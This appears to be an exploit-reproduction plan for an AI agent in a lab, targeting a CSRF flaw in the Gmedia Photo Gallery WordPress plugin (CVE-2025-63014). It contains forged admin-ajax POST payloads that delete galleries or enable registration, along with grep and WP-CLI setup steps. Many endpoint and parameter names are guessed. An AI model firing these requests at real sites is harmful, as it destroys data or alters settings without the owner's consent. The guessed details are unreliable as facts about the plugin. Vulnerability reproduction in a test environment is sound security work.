Gmedia Photo Gallery <= 1.24.1 - Cross-Site Request Forgery

This research plan targets CVE-2025-63014, a Cross-Site Request Forgery (CSRF) vulnerability in the Gmedia Photo Gallery plugin (slug: grand-media). Since source files are not provided, this plan is based on the vulnerability description and the known architecture of the Gmedia plugin.

---

1. Vulnerability Summary

The Gmedia Photo Gallery plugin fails to implement proper nonce validation on several administrative AJAX actions. Specifically, the dispatcher or individual handler functions for actions like deleting galleries, items, or terms do not call check_ajax_referer() or wp_verify_nonce(). This allows an unauthenticated attacker to perform these actions by tricking a logged-in administrator into visiting a malicious site or clicking a link that triggers a forged request.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: gmedia_admin_ajax (inferred dispatcher) or specific actions like gmedia_delete_item, gmedia_delete_gallery, or gmedia_update_settings.
• Required Parameter: action and state-changing parameters (e.g., id, delete, settings).
• Authentication: Requires the victim to have an active Administrator session.
• Preconditions: The attacker must know (or guess via brute force) the ID of the object to be deleted/modified.

3. Code Flow (Inferred)

1. Registration: The plugin registers AJAX handlers in its main class or an admin-specific class (e.g., GmediaAdmin).
   • Code Path: add_action('wp_ajax_gmedia_admin_ajax', array($this, 'admin_ajax_handler'));
2. Entry Point: admin-ajax.php receives a POST request with action=gmedia_admin_ajax.
3. Dispatcher: The admin_ajax_handler function (inferred) receives the request.
4. The Flaw: The handler proceeds to a switch statement or a series of if blocks to process sub-actions (e.g., $_REQUEST['subaction'] == 'delete_gallery') without first verifying a nonce.
5. Sink: The code executes a database operation (e.g., $wpdb->delete($wpdb->prefix . 'gmedia_galleries', ...)).

4. Nonce Acquisition Strategy

According to the vulnerability description, there is missing or incorrect nonce validation.

• Case A: Missing Validation: No nonce is required. The exploit can proceed by simply omitting the security parameter.
• Case B: Incorrect Validation: If the plugin attempts to check a nonce but uses a global or static string, the exploit should attempt to pass an empty string or a common default.

Discovery Phase (via Agent):
The agent should first confirm the missing check:

1. Search for AJAX handlers: grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/grand-media/.
2. Inspect the callback for the absence of check_ajax_referer or wp_verify_nonce.
3. Specifically look for handlers in inc/gmedia.admin.php or admin/ajax.php.

5. Exploitation Strategy

The goal is to delete a gallery created during setup.

• Step 1: Identify Target: Determine the ID of a Gmedia gallery or item.
• Step 2: Construct the CSRF Forgery: Since we are simulating the forgery using the agent's http_request tool, we will use the Administrator's cookies but omit any nonce.
• Payload (POST Request):

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=gmedia_admin_ajax&subaction=delete_gallery&id=[GALLERY_ID]
  

  (Note: Parameters subaction and id are inferred based on common Gmedia AJAX patterns. The agent should verify these via grep before sending.)

6. Test Data Setup

Before exploitation, the environment must contain targetable data:

1. Install/Activate: Ensure grand-media is active.
2. Create Gallery: Use WP-CLI to insert a dummy gallery into the database or use the UI.

   # Example to find the table and insert data (if UI is unavailable)
   wp db query "INSERT INTO wp_gmedia_galleries (name, status) VALUES ('Exploit Test', 'publish');"
   # Note the ID of the inserted gallery
   

3. Identify Action: Use grep to find the exact subaction string for deletion.

   grep -r "delete" /var/www/html/wp-content/plugins/grand-media/ | grep "subaction"
   

7. Expected Results

• Response: The server should return a success message (often JSON like {"success":true} or a 1 for AJAX) despite the absence of a nonce.
• State Change: The targeted gallery/item should be removed from the database.

8. Verification Steps

After sending the http_request, verify the deletion via WP-CLI:

# Check if the gallery ID still exists in the Gmedia gallery table
wp db query "SELECT * FROM wp_gmedia_galleries WHERE id=[GALLERY_ID];"

If the query returns empty, the CSRF was successful.

9. Alternative Approaches

If gmedia_admin_ajax is not the correct action:

1. Search for Settings Save: Check if gmedia_save_options (inferred) is vulnerable.
   • Payload: action=gmedia_save_options&gmedia_options[allow_registration]=1
2. Check Admin Post: Look for admin_post_ hooks which are often more susceptible to CSRF than AJAX handlers.
   • grep -rn "admin_post_" /var/www/html/wp-content/plugins/grand-media/
3. GET-based CSRF: Test if state-changing actions are accepted via $_GET.
   • http_request to /wp-admin/admin-ajax.php?action=...&id=...